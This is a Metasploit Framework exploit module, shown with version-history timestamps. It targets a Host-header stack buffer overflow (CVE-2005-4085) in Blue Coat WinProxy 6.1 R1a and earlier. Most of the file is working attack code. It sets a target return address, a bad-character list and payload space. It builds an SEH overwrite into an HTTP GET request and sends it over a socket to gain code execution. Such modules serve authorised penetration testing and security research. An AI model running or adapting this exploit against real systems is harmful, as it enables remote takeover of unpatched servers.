metasploit-framework/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb

81 lines
2.1 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
2013-08-30 21:28:54 +00:00
HttpFingerprint = { :method => 'HEAD', :pattern => [ /BlueCoat/ ] }
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Blue Coat WinProxy Host Header Overflow',
'Description' => %q{
This module exploits a buffer overflow in the Blue Coat Systems WinProxy
service by sending a long port value for the Host header in a HTTP
request.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2005-4085'],
['OSVDB', '22238'],
['BID', '16147'],
['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
],
'Privileged' => true,
'DisclosureDate' => 'Jan 5 2005',
'DefaultTarget' => 0))
2013-08-30 21:28:54 +00:00
register_options(
[
Opt::RPORT(80)
], self.class)
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def exploit
connect
2013-08-30 21:28:54 +00:00
print_status("Trying target #{target.name}...")
2013-08-30 21:28:54 +00:00
sploit = "GET / HTTP/1.1" + "\r\n"
sploit += "Host: 127.0.0.1:"
sploit += rand_text_english(31, payload_badchars)
seh = generate_seh_payload(target.ret)
sploit[23, seh.length] = seh
sploit += "\r\n\r\n"
2013-08-30 21:28:54 +00:00
sock.put(sploit)
sock.get_once(-1, 3)
2013-08-30 21:28:54 +00:00
handler
disconnect
end
end